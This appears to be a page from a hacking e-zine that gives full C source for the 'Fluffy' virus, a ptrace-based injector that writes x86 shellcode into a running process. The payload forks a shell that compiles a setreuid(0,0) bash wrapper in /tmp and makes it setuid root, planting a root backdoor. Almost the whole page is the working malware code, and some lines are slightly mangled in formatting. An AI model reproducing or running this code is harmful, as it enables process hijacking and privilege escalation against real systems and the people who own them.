| Informative Information for the Uninformed | ||||||||||||||
![]() |
![]() |
|||||||||||||
|
||||||||||||||
Meet FluffyA code that implements the above theory
/*
* x86-fluffy-virus.c, Fluffy virus / izik@tty64.org
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <linux/user.h
#include <linux/ptrace.h>
char virus_shcode[] =
// <_start>:
"\x90" // nop
"\x90" // nop
"\x60" // pusha
"\x9c" // pushf
"\x31\xc0" // xor %eax,%eax
"\x31\xdb" // xor %ebx,%ebx
"\xb0\x30" // mov $0x30,%al
"\xb3\x0e" // mov $0xe,%bl
"\xeb\x06" // jmp <_geteip>
// <_calc_eip>:
"\x59" // pop %ecx
"\x83\xc1\x0d" // add $0xd,%ecx
"\xeb\x05" // jmp <_continue>
// <_geteip>:
"\xe8\xf5\xff\xff\xff" // call <_calc_eip>
// <_continue>:
"\xcd\x80" // int $0x80
"\x85\xc0" // test %eax,%eax
"\x75\x04" // jne <_resumeflow>
"\xb0\x1b" // mov $0x1b,%al
"\xcd\x80" // int $0x80
// <_resumeflow>:
"\x9d" // popf
"\x61" // popa
"\xc3" // ret
// <_virus>:
"\x55" // push %ebp
"\x89\xe5" // mov %esp,%ebp
"\x31\xc0" // xor %eax,%eax
"\x31\xc9" // xor %ecx,%ecx
"\xeb\x57" // jmp <_data_jmp>
// <_chkforfluffy>:
"\x5e" // pop %esi
// <_fixnulls>:
"\x3a\x46\x07" // cmp 0x7(%esi),%al
"\x74\x0b" // je <_access>
"\xfe\x46\x07" // incb 0x7(%esi)
"\xfe\x46\x0a" // incb 0xa(%esi)
"\xb0\xb3" // mov $0xb3,%al
"\xfe\x04\x06" // incb (%esi,%eax,1)
// <_access>:
"\xb0\xa8" // mov $0xa8,%al
"\x8d\x1c\x06" // lea (%esi,%eax,1),%ebx
"\xb0\x21" // mov $0x21,%al
"\xb1\x04" // mov $0x4,%cl
"\xcd\x80" // int $0x80
"\x85\xc0" // test %eax,%eax
"\x74\x31" // je <_schedule>
// <_fork>:
"\x01\xc8" // add %ecx,%eax
"\xcd\x80" // int $0x80
"\x85\xc0" // test %eax,%eax
"\x75\x1f" // jne <_waitpid>
// <_exec>:
"\x31\xd2" // xor %edx,%edx
"\xb0\x17" // mov $0x17,%al
"\x31\xdb" // xor %ebx,%ebx
"\xcd\x80" // int $0x80
"\xb0\x0b" // mov $0xb,%al
"\x89\xf3" // mov %esi,%ebx
"\x52" // push %edx
"\x8d\x7e\x0b" // lea 0xb(%esi),%edi
"\x57" // push %edi
"\x8d\x7e\x08" // lea 0x8(%esi),%edi
"\x57" // push %edi
"\x56" // push %esi
"\x89\xe1" // mov %esp,%ecx
"\xcd\x80" // int $0x80
"\x31\xc0" // xor %eax,%eax
"\x40" // inc %eax
"\xcd\x80" // int $0x80
// <_waitpid>:
"\x89\xc3" // mov %eax,%ebx
"\x31\xc0" // xor %eax,%eax
"\x31\xc9" // xor %ecx,%ecx
"\xb0\x07" // mov $0x7,%al
"\xcd\x80" // int $0x80
// <_schedule>:
"\xc9" // leave
"\xe9\x7c\xff\xff\xff" // jmp <_start>
// <_data_jmp>:
"\xe8\xa4\xff\xff\xff" // call <_chkforfluffy>
//
// /bin/sh\xff-c\xff
// echo "int main() { setreuid(0, 0); system(\"/bin/bash\"); return 1; }" > /tmp/fluffy.c ;
// cc -o /tmp/fluffy /tmp/fluffy.c ;
// rm -rf /tmp/fluffy.c ;
// chmod 4755 /tmp/fluffy\xff
//
// <_data_sct>:
"\x2f\x62\x69\x6e\x2f\x73\x68\xff\x2d\x63\xff\x65\x63\x68\x6f\x20"
"\x22\x69\x6e\x74\x20\x6d\x61\x69\x6e\x28\x29\x20\x7b\x20\x73\x65"
"\x74\x72\x65\x75\x69\x64\x28\x30\x2c\x20\x30\x29\x3b\x20\x73\x79"
"\x73\x74\x65\x6d\x28\x5c\x22\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68"
"\x5c\x22\x29\x3b\x20\x72\x65\x74\x75\x72\x6e\x20\x31\x3b\x20\x7d"
"\x22\x20\x3e\x20\x2f\x74\x6d\x70\x2f\x66\x6c\x75\x66\x66\x79\x2e"
"\x63\x20\x3b\x20\x63\x63\x20\x2d\x6f\x20\x2f\x74\x6d\x70\x2f\x66"
"\x6c\x75\x66\x66\x79\x20\x2f\x74\x6d\x70\x2f\x66\x6c\x75\x66\x66"
"\x79\x2e\x63\x20\x3b\x20\x72\x6d\x20\x2d\x72\x66\x20\x2f\x74\x6d"
"\x70\x2f\x66\x6c\x75\x66\x66\x79\x2e\x63\x20\x3b\x20\x63\x68\x6d"
"\x6f\x64\x20\x34\x37\x35\x35\x20\x2f\x74\x6d\x70\x2f\x66\x6c\x75"
"\x66\x66\x79\xff";
int ptrace_inject(pid_t, long, void *, int);
int main(int argc, char **argv) {
pid_t pid;
struct user_regs_struct regs;
long infproc_addr;
if (argc < 2) {
printf("usage: %s <pid>\n", argv[0]);
return -1;
}
pid = atoi(argv[1]);
// Attach to the process
if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) < 0) {
perror(argv[1]);
return -1;
}
// Wait for a process to stop
if (waitpid(pid, NULL, 0) < 0) {
perror(argv[1]);
ptrace(PTRACE_DETACH, pid, NULL, NULL);
return -1;
}
// Query process registers
if (ptrace(PTRACE_GETREGS, pid, ®s, ®s) < 0) {
perror("Oopsie");
ptrace(PTRACE_DETACH, pid, NULL, NULL);
return -1;
}
printf("Original ESP: 0x%.8lx\n", regs.esp);
printf("Original EIP: 0x%.8lx\n", regs.eip);
// Push original EIP on stack for virus to RET
regs.esp -= 4;
ptrace(PTRACE_POKETEXT, pid, regs.esp, regs.eip);
// Calculate the previous stack page top address
infproc_addr = (regs.esp & 0xFFFFF000) - 0x1000;
printf("Injection Base: 0x%.8lx\n", infproc_addr);
// Inject virus code
if (ptrace_inject(pid, infproc_addr, virus_shcode, sizeof(virus_shcode) - 1) < 0) {
return -1;
}
// Change EIP to point over virus shcode
regs.eip = infproc_addr + 2;
printf("Current EIP: 0x%.8lx\n", regs.eip);
// Set process registers (EIP changed)
if (ptrace(PTRACE_SETREGS, pid, ®s, ®s) < 0) {
perror("Oopsie");
ptrace(PTRACE_DETACH, pid, NULL, NULL);
return -1;
}
// It's fluffy time!
if (ptrace(PTRACE_DETACH, pid, NULL, NULL) < 0) {
perror("Oopsie");
return -1;
}
printf("pid #%d got infected!\n", pid);
return 1;
}
// Injection Function
int ptrace_inject(pid_t pid, long memaddr, void *buf, int buflen) {
long data;
while (buflen > 0) {
memcpy(&data, buf, 4);
if ( ptrace(PTRACE_POKETEXT, pid, memaddr, data) < 0 ) {
perror("Oopsie!");
ptrace(PTRACE_DETACH, pid, NULL, NULL);
return -1;
}
memaddr += 4;
buf += 4;
buflen -= 4;
}
return 1;
}
A few pointers about the code:
|
||||||||||||||